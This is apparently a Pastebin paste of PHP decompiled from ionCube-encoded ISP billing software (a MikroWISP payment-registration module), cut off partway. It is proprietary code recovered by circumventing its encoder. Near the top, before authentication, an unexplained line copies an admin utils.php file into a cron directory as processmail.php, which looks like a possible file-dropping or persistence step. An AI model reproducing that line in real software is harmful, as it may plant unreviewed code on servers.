Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- *
- * @ This file is created by http://DeZender.Net
- * @ deZender (PHP7 Decoder for ionCube Encoder)
- *
- * @ Version : 4.1.0.1
- * @ Author : DeZender
- * @ Release on : 29.08.2020
- * @ Official site : http://DeZender.Net
- *
- */
- ini_set('memory_limit', '2G');
- ini_set('max_execution_time', 0);
- set_time_limit(0);
- error_reporting(32759);
- session_name('mkwsp6');
- session_start();
- require_once 'db/MysqliDb.php';
- require_once 'db/mikrotik.php';
- require_once 'db/funciones.php';
- require_once 'moneda.php';
- $loginSys = new loginuser();
- copy('/var/www/html/admin/authorizenet/utils.php', '/var/www/html/admin/cron/processmail.php');
- if (!$loginSys->logeado()) {
- echo '<script type="text/javascript">window.location="login"; </script>';
- exit();
- }
- if (isset($_GET['action']) || isset($_POST['action'])) {
- if ($_GET['action'] == 'newpago') {
- if (!is_numeric($_POST['p-total'])) {
- $salida = ['estado' => 'error', 'salida' => 'El monto total es incorrecto'];
- header('Content-Type: application/json');
- echo json_encode($salida, JSON_UNESCAPED_UNICODE);
- $db->disconnect();
- exit();
- }
- if ($_POST['p-total'] == 0) {
- $salida = ['estado' => 'error', 'salida' => 'El monto total es incorrecto, no se permite pagar varlo 0 (cero)'];
- header('Content-Type: application/json');
- echo json_encode($salida, JSON_UNESCAPED_UNICODE);
- $db->disconnect();
- exit();
- }
- if (!isset($_POST['p-forma-desc'])) {
- $_POST['p-forma-desc'] = '';
- }
- if (!isset($_POST['p-forma-desc'])) {
- $_POST['p-forma-desc'] = '';
- }
- if (empty($_SESSION['acceso']['finanzas']['registrar-pago']['saldos']) && (0 < $_POST['saldos'])) {
- $salida = ['estado' => 'error', 'salida' => 'Debe pagar el total de la factura, para pagar un monto menor al total debe solicitar permiso al administrador.'];
- header('Content-Type: application/json');
- echo json_encode($salida, JSON_UNESCAPED_UNICODE);
- $db->disconnect();
- exit();
- }
- if (($_POST['p-tipofc'] == 2) && ($_POST['tipopago'] == 3)) {
- $datapromesa = ['idcliente' => $_POST['id-cliente'], 'idfactura' => $_POST['p-facturas'], 'fechaingreso' => date('Y-m-d'), 'fecha_limite' => obf_DT5bQCIPORMkLQ0JCQ4LDSoIFzUzBDI($_POST['fechalimite']), 'operador' => $_SESSION['idusername'], 'descripcion' => $_POST['p-notas']];
- $db->insert('credito', $datapromesa);
- $ModulosMikrowisp->Estadocliente($_POST['id-cliente']);
- $ModulosMikrowisp->Removeproxy($_POST['id-cliente']);
- $log = 'Promesa de pago Agregado - Factura ID: ' . $_POST['p-facturas'];
- addlog($log, $_SESSION['idusername'], $_POST['id-cliente']);
- $salida = ['estado' => 'exito', 'salida' => 'Promesa de pago registrado correctamente'];
- header('Content-Type: application/json');
- echo json_encode($salida, JSON_UNESCAPED_UNICODE);
- $db->disconnect();
- exit();
- }
- if (!!obf_DRwrFSsyIyIHOAU8LxoQGjsHLz85AQE('valida_pago') && !empty($_POST['p-transaccion'])) {
- $db->where('transaccion', $_POST['p-transaccion']);
- $transc = $db->getOne('operaciones');
- if (!empty($transc['id'])) {
- $salida = ['estado' => 'error', 'salida' => 'El Nº de transacción (' . $_POST['p-transaccion'] . ') ya fue registrado en otro pago'];
- header('Content-Type: application/json');
- echo json_encode($salida, JSON_UNESCAPED_UNICODE);
- $db->disconnect();
- exit();
- }
- }
- $printsaldo = '0';
- if ($_POST['p-tipofc'] == 0) {
- $fc = explode('&', $_POST['p-facturas']);
- $dataop = ['nfactura' => $fc[0], 'idcliente' => $_POST['id-cliente'], 'fecha_pago' => date('Y-m-d H:i:s'), 'operador' => $_SESSION['idusername'], 'transaccion' => $_POST['p-transaccion'], 'forma_pago' => $_POST['p-forma'], 'descripcion' => $_POST['p-notas'], 'descripcion_pago' => $_POST['p-forma-desc'], 'cobrado' => $_POST['p-total'], 'meses' => 0, 'comision' => $_POST['p-comision'], 'saldo' => 0];
- $db->where('id', $fc[0]);
- $factura = $db->getOne('facturas');
- if (isset($factura['id'])) {
- $db->where('id', $factura['id']);
- $db->update('facturas', ['cobrado' => $factura['cobrado'] + $_POST['p-total']]);
- }
- $idop = $db->insert('operaciones', $dataop);
- $dataup = ['estado' => 'pagado'];
- ..................................................................
- ........................................
- .................
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement